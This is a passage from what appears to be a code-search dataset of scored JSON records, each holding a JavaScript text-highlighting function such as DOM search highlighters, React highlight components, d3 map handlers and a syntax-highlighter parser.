bodyText.lastIndexOf(\"<\", i)) {\r\n // skip anything inside a <script> block\r\n if (lcBodyText.lastIndexOf(\"/script>\", i) >= lcBodyText.lastIndexOf(\"<script\", i)) {\r\n\t // skip if sorrounding characters are \\w\r\n\t tmpBefore = lcBodyText.substring(i-1, i);\r\n\t tmpAfter = lcBodyText.substring(i+searchTerm.length, 1+i+searchTerm.length);\r\n\t if (tmpBefore.search(/\\w+/) == -1 && tmpAfter.search(/\\w+/) == -1) {\r\n \tnewText += bodyText.substring(0, i) + highlightStartTag + bodyText.substr(i, searchTerm.length) + highlightEndTag;\r\n \tbodyText = bodyText.substr(i + searchTerm.length);\r\n \tlcBodyText = bodyText.toLowerCase();\r\n \ti = -1;\r\n\t }\r\n }\r\n }\r\n }\r\n }\r\n \r\n return newText;\r\n}", "title": "" }, { "docid": "5ca1de1b314950f1afa6d3e637876c97", "score": "0.56541395", "text": "function addHighlight(text, filter) {\n\tvar result = text;\n\tif(filter && filter.length > 0)\n\t\tresult = text.replace(new RegExp('(' + filter + ')', 'gi'), \"<span class=\\\"highlight\\\">$1</span>\");\n\treturn result;\n}", "title": "" }, { "docid": "82e82268b093a0314f1687b99c738320", "score": "0.56420493", "text": "function Highlighter(_ref) {\n\t var _ref$activeClassName = _ref.activeClassName;\n\t var activeClassName = _ref$activeClassName === undefined ? '' : _ref$activeClassName;\n\t var _ref$activeIndex = _ref.activeIndex;\n\t var activeIndex = _ref$activeIndex === undefined ? -1 : _ref$activeIndex;\n\t var activeStyle = _ref.activeStyle;\n\t var autoEscape = _ref.autoEscape;\n\t var _ref$caseSensitive = _ref.caseSensitive;\n\t var caseSensitive = _ref$caseSensitive === undefined ? false : _ref$caseSensitive;\n\t var className = _ref.className;\n\t var findChunks = _ref.findChunks;\n\t var _ref$highlightClassName = _ref.highlightClassName;\n\t var highlightClassName = _ref$highlightClassName === undefined ? '' : _ref$highlightClassName;\n\t var _ref$highlightStyle = _ref.highlightStyle;\n\t var highlightStyle = _ref$highlightStyle === undefined ? {} : _ref$highlightStyle;\n\t var _ref$highlightTag = _ref.highlightTag;\n\t var highlightTag = _ref$highlightTag === undefined ? 'mark' : _ref$highlightTag;\n\t var sanitize = _ref.sanitize;\n\t var searchWords = _ref.searchWords;\n\t var textToHighlight = _ref.textToHighlight;\n\t var _ref$unhighlightClassName = _ref.unhighlightClassName;\n\t var unhighlightClassName = _ref$unhighlightClassName === undefined ? '' : _ref$unhighlightClassName;\n\t var unhighlightStyle = _ref.unhighlightStyle;\n\t\n\t var rest = _objectWithoutProperties(_ref, ['activeClassName', 'activeIndex', 'activeStyle', 'autoEscape', 'caseSensitive', 'className', 'findChunks', 'highlightClassName', 'highlightStyle', 'highlightTag', 'sanitize', 'searchWords', 'textToHighlight', 'unhighlightClassName', 'unhighlightStyle']);\n\t\n\t var chunks = (0, _highlightWordsCore.findAll)({\n\t autoEscape: autoEscape,\n\t caseSensitive: caseSensitive,\n\t findChunks: findChunks,\n\t sanitize: sanitize,\n\t searchWords: searchWords,\n\t textToHighlight: textToHighlight\n\t });\n\t var HighlightTag = highlightTag;\n\t var highlightIndex = -1;\n\t var highlightClassNames = '';\n\t var highlightStyles = undefined;\n\t\n\t var lowercaseProps = function lowercaseProps(object) {\n\t var mapped = {};\n\t for (var key in object) {\n\t mapped[key.toLowerCase()] = object[key];\n\t }\n\t return mapped;\n\t };\n\t var memoizedLowercaseProps = (0, _memoizeOne2['default'])(lowercaseProps);\n\t\n\t return (0, _react.createElement)('span', _extends({\n\t className: className\n\t }, rest, {\n\t children: chunks.map(function (chunk, index) {\n\t var text = textToHighlight.substr(chunk.start, chunk.end - chunk.start);\n\t\n\t if (chunk.highlight) {\n\t highlightIndex++;\n\t\n\t var highlightClass = undefined;\n\t if (typeof highlightClassName === 'object') {\n\t if (!caseSensitive) {\n\t highlightClassName = memoizedLowercaseProps(highlightClassName);\n\t highlightClass = highlightClassName[text.toLowerCase()];\n\t } else {\n\t highlightClass = highlightClassName[text];\n\t }\n\t } else {\n\t highlightClass = highlightClassName;\n\t }\n\t\n\t var isActive = highlightIndex === +activeIndex;\n\t\n\t highlightClassNames = highlightClass + ' ' + (isActive ? activeClassName : '');\n\t highlightStyles = isActive === true && activeStyle != null ? Object.assign({}, highlightStyle, activeStyle) : highlightStyle;\n\t\n\t var props = {\n\t children: text,\n\t className: highlightClassNames,\n\t key: index,\n\t style: highlightStyles\n\t };\n\t\n\t // Don't attach arbitrary props to DOM elements; this triggers React DEV warnings (https://fb.me/react-unknown-prop)\n\t // Only pass through the highlightIndex attribute for custom components.\n\t if (typeof HighlightTag !== 'string') {\n\t props.highlightIndex = highlightIndex;\n\t }\n\t\n\t return (0, _react.createElement)(HighlightTag, props);\n\t } else {\n\t return (0, _react.createElement)('span', {\n\t children: text,\n\t className: unhighlightClassName,\n\t key: index,\n\t style: unhighlightStyle\n\t });\n\t }\n\t })\n\t }));\n\t}", "title": "" }, { "docid": "04785b5cd380a805e0021dacdbefe444", "score": "0.56320417", "text": "function highlightText(text, $node){ \n var searchText = $.trim(text).toLowerCase(), currentNode = $node.get(0).firstChild, matchIndex, newTextNode, newSpanNode;\n while ((matchIndex = currentNode.data.toLowerCase().indexOf(searchText)) >= 0) {\n newTextNode = currentNode.splitText(matchIndex);\n currentNode = newTextNode.splitText(searchText.length);\n newSpanNode = document.createElement(\"span\");\n newSpanNode.className = \"highlight\";\n currentNode.parentNode.insertBefore(newSpanNode, currentNode);\n newSpanNode.appendChild(newTextNode);\n }\n }", "title": "" }, { "docid": "ff5483bd1ba44ecbd82d0a53f5ed86db", "score": "0.56317586", "text": "function highlight()\n{\n\tif (template)\n\t\treturn;\n\n\tvar today = new Date();\n\n\t// Get table\n\tvar table = document.getElementById('content');\n\n\tvar rows = table.getElementsByTagName('tr');\n\tfor (var i = 1; i < rows.length; i++) {\n\t\tvar id = rows[i].getAttribute('id');\n\t\tvar row = $('#' + id);\n\n\t\tvar item = items.get(id.replace(/item/, ''));\n\t\tif (!item)\n\t\t\tcontinue;\n\n\t\tvar done = row.hasClass('done');\n\t\tvar mark = row.hasClass('mark');\n\n\t\trow.removeClass();\n\t\trow.addClass(time_class(item));\n\n\t\tif (done)\n\t\t\trow.addClass('done');\n\t\tif (mark)\n\t\t\trow.addClass('mark');\n\t}\n\n\t// Set page title\n\tif (!template && get_view().view == null)\n\t\tdocument.title = ('Todo - ' + (new Date()).strftime('%Y-%m-%d'));\n\telse if (template)\n\t\tdocument.title = 'Todo - Template';\n\telse {\n\t\tvar start = new Date(view_date);\n\t\tstart.setDate(start.getDate() - start.getDay());\n\n\t\tdocument.title = ('Todo - Week of ' + start.strftime('%Y-%m-%d'));\n\n\t}\n}", "title": "" }, { "docid": "37f341161dee56c9aadc7ada93533aa2", "score": "0.56177217", "text": "function highlightResult() {\n _highlightResult(this);\n}", "title": "" }, { "docid": "ad66c93ac503d17489c2415e62c90566", "score": "0.56135267", "text": "function highlight(code, lang, callback) {\n require('pygmentize-bundled')({lang: lang, format: 'html'}, code, function (err, result) {\n callback(err, result.toString())\n })\n}", "title": "" }, { "docid": "398ef07f09cfdfd83852bf41108b6291", "score": "0.56003237", "text": "function HighlightedText(props) {\n var style = props.style,\n className = props.className,\n parts = props.parts,\n hitComponent = props.hitComponent,\n textComponent = props.textComponent,\n isInline = props.isInline;\n var finalHitContainer = hitComponent || _index.DefaultHitContainer;\n var finalTextContainer = textComponent || _index.DefaultTextContainer;\n return /*#__PURE__*/_react[\"default\"].createElement(_highlighContainer[\"default\"], {\n className: className,\n style: style,\n isInline: isInline\n }, /*#__PURE__*/_react[\"default\"].createElement(_hitText[\"default\"], {\n parts: parts,\n hitComponent: finalHitContainer,\n textComponent: finalTextContainer\n }));\n}", "title": "" }, { "docid": "942f6a3bfb5252dae51179dbc1a9a3ea", "score": "0.5595383", "text": "function highlightify(source,output,highlightRegExp)\n{\n\tif(source && source != \"\")\n\t\t{\n\t\tvar wikifier = new Wikifier(source,formatter,highlightRegExp);\n\t\twikifier.outputText(output,0,source.length);\n\t\t}\n}", "title": "" }, { "docid": "08e88f1b878cc39cc7f8b0262a016354", "score": "0.5567208", "text": "function calloutSummary(summaryText) {\n const highlights = [\n 'the officer said, \"If you hold your d**k tight it won\\'t fall off, do you want me to hold it for you, f*ggot?\"',\n 'he cut him off, stating that his officers would not say anything like that and what occurred was not harassment',\n 'The sergeant ordered the complainant to put his hands up. After he was handcuffed, the sergeant kicked him numerous times.'\n ]\n\n highlights.forEach(function(textBlock) {\n summaryText = summaryText.replace(textBlock, (`<span style=\"background-color:rgba(245, 229, 27, 0.5)\">${textBlock}</span>`));\n })\n\n return summaryText;\n}", "title": "" }, { "docid": "1775897de0f903e79c4359e6c3e59600", "score": "0.5539387", "text": "formatHighlightString(text, searchString) {\n let searchIndex = text.indexOf(searchString);\n let stringDOM;\n if(searchIndex !== -1 && searchString !== '') {\n let splitTitle = text.split(searchString);\n stringDOM = splitTitle.reduce((a, object, index)=>{\n a.push(object);\n if(index !== splitTitle.length-1) {\n a.push((<span key={index} className=\"searchHighlight\">{searchString}</span>));\n }\n return a;\n }, []);\n } else {\n stringDOM = text;\n }\n return stringDOM;\n }", "title": "" }, { "docid": "09a404723aeefc43f583b8b6ca36cfab", "score": "0.553423", "text": "function highlightLine (line, highlightOptions) {\n let sections = []\n for (let i = 0; i < highlightOptions.length; i++) {\n let highlightOption = highlightOptions[i]\n if (highlightOption) {\n while (true) {\n let match = highlightOption.patternRegex.exec(line)\n if (!match) {\n break\n }\n let b2 = highlightOption.patternRegex.lastIndex - 1\n let b1 = b2 - match[0].length + 1\n for (let j = 0; j < sections.length; j++) {\n let section = sections[j]\n if (section != null) {\n let a1 = section.start\n let a2 = section.end\n if (b1 <= a1 && b2 >= a2) { // Case 2\n // Remove section.\n sections[j] = null\n } else if (b1 <= a1 && b2 >= a1 && b2 < a2) { // Case 3\n section.start = b2 + 1\n } else if (b1 > a1 && b1 <= a2 && b2 >= a2) { // Case 4\n section.end = b1 - 1\n } else if (b1 > a1 && b2 < a2) { // 5\n sections.push({start: a1, end: b1 - 1, colorAnsi: sections[j].colorAnsi})\n sections.push({start: b2 + 1, end: a2, colorAnsi: sections[j].colorAnsi})\n sections[j] = null\n }\n }\n }\n sections.push({start: b1, end: b2, colorAnsi: highlightOption.colorAnsi})\n }\n }\n }\n let result = []\n let current = 0\n\n sections.sort(function (a, b) {\n if (a === null && b === null) {\n return 0\n }\n if (a === null && b !== null) {\n return 1\n }\n if (a !== null && b === null) {\n return -1\n }\n\n return a.start - b.start\n })\n\n for (let i = 0; i < sections.length; i++) {\n let section = sections[i]\n if (section) {\n result.push(line.substr(current, section.start - current))\n result.push(section.colorAnsi.open)\n result.push(line.substr(section.start, section.end - section.start + 1))\n result.push(section.colorAnsi.close)\n current = section.end + 1\n } else {\n break\n }\n }\n result.push(line.substr(current, line.length - current))\n\n return result.join('')\n}", "title": "" }, { "docid": "1152eecea852bc1fb1e449942fa9ca4d", "score": "0.5533437", "text": "function highlight(d){\n return \"<span class = 'highlighted'>\" + d + \"</span>\";\n}", "title": "" }, { "docid": "1152eecea852bc1fb1e449942fa9ca4d", "score": "0.5533437", "text": "function highlight(d){\n return \"<span class = 'highlighted'>\" + d + \"</span>\";\n}", "title": "" }, { "docid": "664bb72cc17dfd4a13941656acb66f98", "score": "0.5531868", "text": "function highlight(props) {\n\n var selected = d3.selectAll(\".\" + props.CODE)\n .style({ 'fill-opacity': .7 });\n\n setLabel(props);\n }", "title": "" }, { "docid": "7d711cda526db972cd704e77ce1b8ec2", "score": "0.5521428", "text": "function highlight( ) {\n var args = arguments;\n d3.selectAll(\".wordTag\").each(function(d, i) {\n var name = this.id;\n var found = 0;\n for (var i=0; i < args.length; i++) {\n if (name == args[i]) found = 1;\n }\n if (found == 0) {\n d3.select(this).transition().duration(800).style(\"opacity\", 0);\n }\n });\n}", "title": "" }, { "docid": "2337ce1b3780b075e155048fb83772e1", "score": "0.5518523", "text": "function highlight(selection, element) {\n\tvar text = element.nodeValue; // the actual text, not innerHTML\n\tif(text !== null && typeof text === 'string' && text.indexOf(selection) >= 0) {\n\t\tvar parent = element.parentNode; // since element is just the textNode\n\n\t\t// so we avoid duplication during tree traversal\n\t\tif(parent.className.indexOf(CLASS_NAME) >= 0 || parent.innerHTML.indexOf(CLASS_NAME) >= 0 )\n\t\t\treturn;\n\n\t\tparent.innerHTML = parent.innerHTML.replace(selection, \n\t\t\t'<span style=\"border:1px solid #999; border-radius:3px;\" class=\"'+CLASS_NAME+'\" title=\"Code highlighting done by Codeliter Chrome extension. For more information, visit http://davidhu.me/codeliter/\">'+selection+'</span>');\n\t}\n\n\t// recurse through DOM children\n\tvar children = element.childNodes;\n\tfor(var i = 0; i < children.length; i++) {\n\t\thighlight(selection, children[i]);\n\t}\n}", "title": "" }, { "docid": "3a71bd56f62ce5bea2436623ef556e96", "score": "0.55108297", "text": "function pickHighlightColor(level) {\n // check if word only occurred once\n if(level == colorScaling - 1) {\n if (isTransparencyOn) {\n return \"transparent\";\n }\n return \"#00F\";\n }\n return \"rgb(\"+level+\",\"+(127-level/4)+\",0)\";\n}", "title": "" }, { "docid": "562a8532765373d6d211d5a489009d5b", "score": "0.55058354", "text": "function highlightSearchTerms(searchText, treatAsPhrase, warnOnFailure, highlightStartTag, highlightEndTag)\r\n{\r\n // if the treatAsPhrase parameter is true, then we should search for \r\n // the entire phrase that was entered; otherwise, we will split the\r\n // search string so that each word is searched for and highlighted\r\n // individually\r\n if (treatAsPhrase) {\r\n searchArray = [searchText];\r\n } else {\r\n searchArray = searchText.split(\" \");\r\n }\r\n \r\n if (!document.body || typeof(document.body.innerHTML) == \"undefined\") {\r\n if (warnOnFailure) {\r\n alert(\"Sorry, for some reason the text of this page is unavailable. Searching will not work.\");\r\n }\r\n return false;\r\n }\r\n \r\n var bodyText = document.body.innerHTML;\r\n for (var i = 0; i < searchArray.length; i++) {\r\n// bodyText = doHighlight(bodyText, searchArray[i], highlightStartTag, highlightEndTag);\r\n bodyText = doHighlightExact(bodyText, searchArray[i], highlightStartTag, highlightEndTag);\r\n }\r\n\r\n//if (bodyText != document.body.innerHTML) {\r\n//\talert(\"matches found!\");\r\n//\tbodyText=\"Remove Highlighting \"+bodyText;\r\n//}\t \r\n\r\n document.body.innerHTML = bodyText;\r\n return true;\r\n}", "title": "" }, { "docid": "46cb4a0351c4d04a082c65efbb485b41", "score": "0.54980475", "text": "function highlight(props){\n //change stroke\n var selected = d3.selectAll(\".\" + props.LABEL)\n .style(\"stroke\", \"blue\")\n .style(\"stroke-width\", \"2\");\n var desc = municipalities.append(\"desc\")\n .text('{\"stroke\": \"#000\", \"stroke-width\": \"0.5px\"}');\n }", "title": "" }, { "docid": "ff67704a7fc5bf48f79ba85a37e03fb8", "score": "0.54889244", "text": "function highlight(props) {\n //console.log(props);\n //change stroke\n var selected = d3\n .selectAll(\".t\" + props.GEOID)\n .style(\"stroke\", \"blue\")\n .style(\"stroke-width\", \"2\");\n\n setLabel(props);\n }", "title": "" }, { "docid": "11bc20fdabdf90fdcd8ea29d5f6d98a1", "score": "0.54873013", "text": "function doHighlight( contextFocus, selIndex ) {\n\t\n\t\tif( contextFocus == \"Edit\" ) {\n\t\t\tif( selIndex > 0 ) highlight( getHighLightID( selIndex, \"cell\"), \"#4682B4\", \"#eaf08f\", \"#4682B4\" );\t\t\n\t\t\t} //end of if statement\t\t\t\t\n\t\tif( contextFocus == \"Copy\" ) {\n\t\t\thighlight( getHighLightID( selIndex, \"cell\"), \"#4682B4\", \"#eaf08f\", \"#4682B4\" );\n\t\t\t} //end of if statement\n\t\tif( contextFocus == \"Cut\" ) {\n\t\t\thighlight( getHighLightID( selIndex, \"cell\"), \"white\", \"#C34A47\", \"#C34A47\" );\n\t\t\t} //end of if statement\n\t\tif( contextFocus == \"Paste\" ) {\n\t\t\thighlight( getHighLightID( selIndex, \"cell\"), \"#4682B4\", \"#eaf08f\", \"#4682B4\" );\n\t\t\t} //end of if statement\n\t\tif( contextFocus == \"Clear\" ) {\n\t\t\thighlight( getHighLightID( selIndex, \"cell\"), \"white\", \"#C34A47\", \"#C34A47\" );\n\t\t\t} //end of if statement\n\t\tif( contextFocus == \"Add Above\" ) {\n\t\t\tvar temp = selIndex;\n\t\t\tif( temp < 0 ) temp = -selIndex;\n\t\t\thighlight( getHighLightID( temp, \"row\"), \"#4682B4\", \"#eaf08f\", \"#4682B4\" );\n\t\t\t} //end of if statement\n\t\tif( contextFocus == \"Add Below\" ) {\n\t\t\tvar temp = selIndex;\n\t\t\tif( temp < 0 ) temp = -selIndex;\t\n\t\t\thighlight( getHighLightID( temp, \"row\"), \"#4682B4\", \"#eaf08f\", \"#4682B4\" );\n\t\t\t} //end of if statement\n\t\tif( contextFocus == \"Delete Meal\" ) {\n\t\t\tvar temp = selIndex;\n\t\t\tif( temp < 0 ) temp = -selIndex;\n\t\t\tif( selIndex < 0 ) temp = -selIndex;\t\n\t\t\thighlight( getHighLightID( temp, \"row\"), \"white\", \"#C34A47\", \"#C34A47\" );\n\t\t\t} //end of if statement\n\t\tif( contextFocus == \"Rename Meal\" ) {\n\t\t\tvar temp = selIndex;\n\t\t\tif( temp < 0 ) temp = -selIndex;\n\t\t\tif( selIndex < 0 ) temp = -selIndex;\t\n\t\t\thighlight( getHighLightID( temp, \"meal\"), \"#4682B4\", \"#eaf08f\", \"#4682B4\");\n\t\t\tdocument.getElementById(\"contextrn\").placeholder = mealTitle[temp%mealTitle.length];\n\t\t\t} //end of if statement\n\t\n\t} //end of function", "title": "" }, { "docid": "abc928989590571036f3e25070531a28", "score": "0.5486657", "text": "function Highlight(){\n if (!(this instanceof Highlight)) return new Highlight();\n this.languages = {};\n this.prefix('Highlight-');\n}", "title": "" }, { "docid": "abc928989590571036f3e25070531a28", "score": "0.5486657", "text": "function Highlight(){\n if (!(this instanceof Highlight)) return new Highlight();\n this.languages = {};\n this.prefix('Highlight-');\n}", "title": "" }, { "docid": "0a116d7da4b75019fcafde6698fc27a6", "score": "0.5479059", "text": "function highlight(searchNode, regexString) {\n\n if (searchNode.nodeName == \"MARK\" ||\n searchNode.nodeName == \"SCRIPT\" ||\n searchNode.nodeName == \"NOSCRIPT\" ||\n searchNode.nodeName == \"STYLE\" ||\n searchNode.nodeType == Node.COMMENT_NODE) {\n\n return;\n }\n\n // if this is a nonempty text node\n if (searchNode.nodeType === Node.TEXT_NODE && (/[^\\t\\n\\r ]/.test(searchNode.nodeValue))) {\n var nodeValue, before, match, after; // string value of nodes\n var regex; // the Regular Expression\n var result; // result of regex.exec(\"string\");\n var parentNode;\n var beforeNode, matchNode, afterNode; // the new nodes being added\n var span; // the node being added above the match for highlighting\n do {\n nodeValue = searchNode.nodeValue;\n regex = new RegExp(regexString, \"g\");\n result = regex.exec(nodeValue);\n // if a match was found\n if (result != null) {\n console.log(\"found match: \" + result);\n\n parentNode = searchNode.parentNode;\n\n before = nodeValue.substring(0, result.index); // the string up to the first match\n match = nodeValue.substring(result.index, regex.lastIndex); // the string of matched text\n after = nodeValue.substring(regex.lastIndex); // the rest of the text (still to be matched)\n\n console.log(\"The string: \" + result[0] + \" matches the search regular expression\");\n\n if (before) {\n beforeNode = document.createTextNode(before); \n parentNode.insertBefore(beforeNode, searchNode);\n }\n\n matchNode = document.createTextNode(match);\n\n span = document.createElement(\"span\");\n span.style.backgroundColor = \"green\";\n span.appendChild(matchNode);\n\n parentNode.insertBefore(span, searchNode);\n\n if (after) {\n afterNode = document.createTextNode(after);\n parentNode.insertBefore(afterNode, searchNode);\n parentNode.removeChild(searchNode);\n searchNode = afterNode;\n // if this is the end of the text node\n } else {\n parentNode.removeChild(searchNode);\n searchNode = matchNode;\n break;\n }\n }\n } while (result != null);\n } else {\n // So for some text boxes the hidden tag is set, so I'm going to continue to check everything hidden or not unless I figure out a better solution\n // if this is a hidden node or not displayed in on screen\n /*if ($(searchNode).css('display') == 'none' || $(searchNode).css('display') == 'hidden') {\n return;\n }*/\n }\n\n searchNode = searchNode.firstChild;\n while (searchNode) {\n highlight(searchNode, regexString);\n searchNode = searchNode.nextSibling;\n }\n\n return;\n}", "title": "" }, { "docid": "be69ea6925c0a07cb319cad0ca6c7e91", "score": "0.54696655", "text": "function highlightContent(url) {\n try\n {\n var terms = url.replace(/#.+$/, '').split('=')[1].split('+');\n }\n catch (err)\n {\n return;\n }\n\n var text_nodes = [];\n\n /**\n * Recursively get all of the text\n * nodes that are children of the given node.\n */\n function getTextNodes(node)\n {\n for (var i = 0; i < node.childNodes.length; i++)\n {\n var child = node.childNodes[i];\n if (child.nodeType === 3)\n {\n text_nodes.push(child);\n }\n else if (child.nodeType === 1)\n {\n getTextNodes(child);\n }\n }\n }\n\n getTextNodes($('article')[0]);\n\n var re = new RegExp(terms.join('|'), 'gi');\n\n for (var i = 0; i < text_nodes.length; i++)\n {\n $(text_nodes[i]).replaceWith(function () {\n return this.wholeText.replace(re, '<span class=\"search-highlight\">$&</span>');\n });\n }\n}", "title": "" }, { "docid": "e16b809f0706f2c06c9e0ea9b3e29289", "score": "0.5467295", "text": "function highlightSection() {\n var currScrollPos = $('body').scrollTop();\n\n if (currScrollPos == 0) {\n // if scroll to top\n sectionNavLinks[0].classList.remove(\"selected_nav\");\n return;\n }\n\n // loop through all section heights, find closest\n for (var i = 0; i < sectionScrollPos\n .length; i++) {\n if (Math.abs(currScrollPos - sectionScrollPos[i]) <= 100) {\n for (var j = 0; j < sectionScrollPos\n .length; j++) {\n // remove all highlights\n sectionNavLinks[j].classList.remove(\"selected_nav\");\n }\n // set the correct highlight\n sectionNavLinks[i].classList.add(\"selected_nav\");\n // set the hash\n return;\n }\n }\n}", "title": "" }, { "docid": "0b7db1e0b402eb5647ea1745ca76afae", "score": "0.54648083", "text": "function highlightColor(n) {\n // let msg = \"\";\n // let msglast = \"\";\n // for(let i = 0; i < n; i++){\n // msg = msg + t.charAt(i);\n // }\n // for(let i = n + p.length; i < t.length; i++){\n // msglast = msglast + t.charAt(i);\n // }\n $('#comment').highlightWithinTextarea({\n highlight: search\n });\n $(\"#display2\").append(`<br /><div>Pattern Found at index: ${n}</div>`);\n }", "title": "" }, { "docid": "382932f2863be0ea98ee6552713649f7", "score": "0.5457148", "text": "function highlight(thisButton) { \n\n\n\n \n \n }", "title": "" }, { "docid": "ce5f50523e470f972b4daf3304b23f5b", "score": "0.5452914", "text": "highlight () {\n this.highlighted = true\n }", "title": "" }, { "docid": "a235b50c8d42da3cd8946ce05d3a84f5", "score": "0.54525995", "text": "function OnChangeHighlight() {\n\t// create classes for highlights, read from the document not preferences\n\tvar arrayPrefs = GetPreference([\n\t\tPREFERENCE_HIGHLIGHTSTYLE_TILE_BORDER_RADIUS, PREFERENCE_HIGHLIGHTSTYLE_TILE_BOX_SHADOW,\n\t\t\tPREFERENCE_HIGHLIGHTSTYLE_TILE_PADDING, PREFERENCE_HIGHLIGHTSTYLE_TILE_ALPHA_SHADOW,\n\t\tPREFERENCE_HIGHLIGHTSTYLE_SMEAR_BORDER_RADIUS, PREFERENCE_HIGHLIGHTSTYLE_SMEAR_BOX_SHADOW, PREFERENCE_HIGHLIGHTSTYLE_SMEAR_PADDING,\n\t\t\tPREFERENCE_HIGHLIGHTSTYLE_SMEAR_ALPHA_SHADOW]);\n\n\t// override with current value\n\tarrayPrefs[PREFERENCE_HIGHLIGHTSTYLE] =\n\t\tdocument.getElementById(\"selectHighlightStyle\").options[document.getElementById(\"selectHighlightStyle\").selectedIndex].value\n\n\t// add styles for each highlight to pages stylesheet\n\tfor(var h in _arrPrefToClassName){\n\t\t// corresponding row for prefHL in arrayPrefHLToNodeID\n\t\tfor (var x in _arrPrefToNodeID) {\n\t\t\tif (_arrPrefToNodeID[x].prefHL == _arrPrefToClassName[h].prefHL) {\n\t\t\t\t// create style element with this id, for this class\n\t\t\t\tvar styleElement = document.createElement('style');\n\t\t\t\tstyleElement.id = _arrPrefToClassName[h].id;\n\n\t\t\t\tstyleElement.textContent = \".\" + _arrPrefToClassName[h].className + \" { \" +\n\t\t\t\t\tGetStyleElementText(arrayPrefs, BuildPrefHLObject(_arrPrefToNodeID[x]), \"options\");\n\t\t\t\tstyleElement.textContent +=\t\" }\";\n\n\t\t\t\t// change opacity for highlights not shown in context menu\n\t\t\t\tstyleElement.textContent +=\t\" #\" + _arrPrefToNodeID[x].tdID + \" { opacity: \";\n\t\t\t\tstyleElement.textContent += (document.getElementById(_arrPrefToNodeID[x].showInContextMenu).checked) == true ? 1 : 0.2;\n\t\t\t\tstyleElement.textContent +=\t\" }\";\n\t\t\t\t\t\t\t\n\t\t\t\t// if it exists, replace it\n\t\t\t\tvar elem = document.getElementById(_arrPrefToClassName[h].id);\n\t\t\t\tif (elem != null)\n\t\t\t\t\tdocument.head.replaceChild(styleElement, elem);\n\t\t\t\telse\n\t\t\t\t\tdocument.head.appendChild(styleElement);\n\n\t\t\t\t\t\n\t\t\t\tbreak;\n\t\t\t}\n\t\t} // end for\n\t}\n}", "title": "" }, { "docid": "d76d18bbe0cb95d36d4c61e62232a871", "score": "0.54509556", "text": "function highlight(name, value, ignore_illegals, continuation) {\n\n function escapeRe(value) {\n return new RegExp(value.replace(/[-\\/\\\\^$*+?.()|[\\]{}]/g, '\\\\$&'), 'm');\n }\n\n function subMode(lexeme, mode) {\n var i, length;\n\n for (i = 0, length = mode.contains.length; i < length; i++) {\n if (testRe(mode.contains[i].beginRe, lexeme)) {\n if (mode.contains[i].endSameAsBegin) {\n mode.contains[i].endRe = escapeRe( mode.contains[i].beginRe.exec(lexeme)[0] );\n }\n return mode.contains[i];\n }\n }\n }\n\n function endOfMode(mode, lexeme) {\n if (testRe(mode.endRe, lexeme)) {\n while (mode.endsParent && mode.parent) {\n mode = mode.parent;\n }\n return mode;\n }\n if (mode.endsWithParent) {\n return endOfMode(mode.parent, lexeme);\n }\n }\n\n function isIllegal(lexeme, mode) {\n return !ignore_illegals && testRe(mode.illegalRe, lexeme);\n }\n\n function keywordMatch(mode, match) {\n var match_str = language.case_insensitive ? match[0].toLowerCase() : match[0];\n return mode.keywords.hasOwnProperty(match_str) && mode.keywords[match_str];\n }\n\n function buildSpan(classname, insideSpan, leaveOpen, noPrefix) {\n var classPrefix = noPrefix ? '' : options.classPrefix,\n openSpan = '<span class=\"' + classPrefix,\n closeSpan = leaveOpen ? '' : spanEndTag;\n\n openSpan += classname + '\">';\n\n if (!classname) return insideSpan;\n return openSpan + insideSpan + closeSpan;\n }\n\n function processKeywords() {\n var keyword_match, last_index, match, result;\n\n if (!top.keywords)\n return escape(mode_buffer);\n\n result = '';\n last_index = 0;\n top.lexemesRe.lastIndex = 0;\n match = top.lexemesRe.exec(mode_buffer);\n\n while (match) {\n result += escape(mode_buffer.substring(last_index, match.index));\n keyword_match = keywordMatch(top, match);\n if (keyword_match) {\n relevance += keyword_match[1];\n result += buildSpan(keyword_match[0], escape(match[0]));\n } else {\n result += escape(match[0]);\n }\n last_index = top.lexemesRe.lastIndex;\n match = top.lexemesRe.exec(mode_buffer);\n }\n return result + escape(mode_buffer.substr(last_index));\n }\n\n function processSubLanguage() {\n var explicit = typeof top.subLanguage === 'string';\n if (explicit && !languages[top.subLanguage]) {\n return escape(mode_buffer);\n }\n\n var result = explicit ?\n highlight(top.subLanguage, mode_buffer, true, continuations[top.subLanguage]) :\n highlightAuto(mode_buffer, top.subLanguage.length ? top.subLanguage : undefined);\n\n // Counting embedded language score towards the host language may be disabled\n // with zeroing the containing mode relevance. Usecase in point is Markdown that\n // allows XML everywhere and makes every XML snippet to have a much larger Markdown\n // score.\n if (top.relevance > 0) {\n relevance += result.relevance;\n }\n if (explicit) {\n continuations[top.subLanguage] = result.top;\n }\n return buildSpan(result.language, result.value, false, true);\n }\n\n function processBuffer() {\n result += (top.subLanguage != null ? processSubLanguage() : processKeywords());\n mode_buffer = '';\n }\n\n function startNewMode(mode) {\n result += mode.className? buildSpan(mode.className, '', true): '';\n top = Object.create(mode, {parent: {value: top}});\n }\n\n function processLexeme(buffer, lexeme) {\n\n mode_buffer += buffer;\n\n if (lexeme == null) {\n processBuffer();\n return 0;\n }\n\n var new_mode = subMode(lexeme, top);\n if (new_mode) {\n if (new_mode.skip) {\n mode_buffer += lexeme;\n } else {\n if (new_mode.excludeBegin) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (!new_mode.returnBegin && !new_mode.excludeBegin) {\n mode_buffer = lexeme;\n }\n }\n startNewMode(new_mode, lexeme);\n return new_mode.returnBegin ? 0 : lexeme.length;\n }\n\n var end_mode = endOfMode(top, lexeme);\n if (end_mode) {\n var origin = top;\n if (origin.skip) {\n mode_buffer += lexeme;\n } else {\n if (!(origin.returnEnd || origin.excludeEnd)) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (origin.excludeEnd) {\n mode_buffer = lexeme;\n }\n }\n do {\n if (top.className) {\n result += spanEndTag;\n }\n if (!top.skip && !top.subLanguage) {\n relevance += top.relevance;\n }\n top = top.parent;\n } while (top !== end_mode.parent);\n if (end_mode.starts) {\n if (end_mode.endSameAsBegin) {\n end_mode.starts.endRe = end_mode.endRe;\n }\n startNewMode(end_mode.starts, '');\n }\n return origin.returnEnd ? 0 : lexeme.length;\n }\n\n if (isIllegal(lexeme, top))\n throw new Error('Illegal lexeme \"' + lexeme + '\" for mode \"' + (top.className || '<unnamed>') + '\"');\n\n /*\n Parser should not reach this point as all types of lexemes should be caught\n earlier, but if it does due to some bug make sure it advances at least one\n character forward to prevent infinite looping.\n */\n mode_buffer += lexeme;\n return lexeme.length || 1;\n }\n\n var language = getLanguage(name);\n if (!language) {\n throw new Error('Unknown language: \"' + name + '\"');\n }\n\n 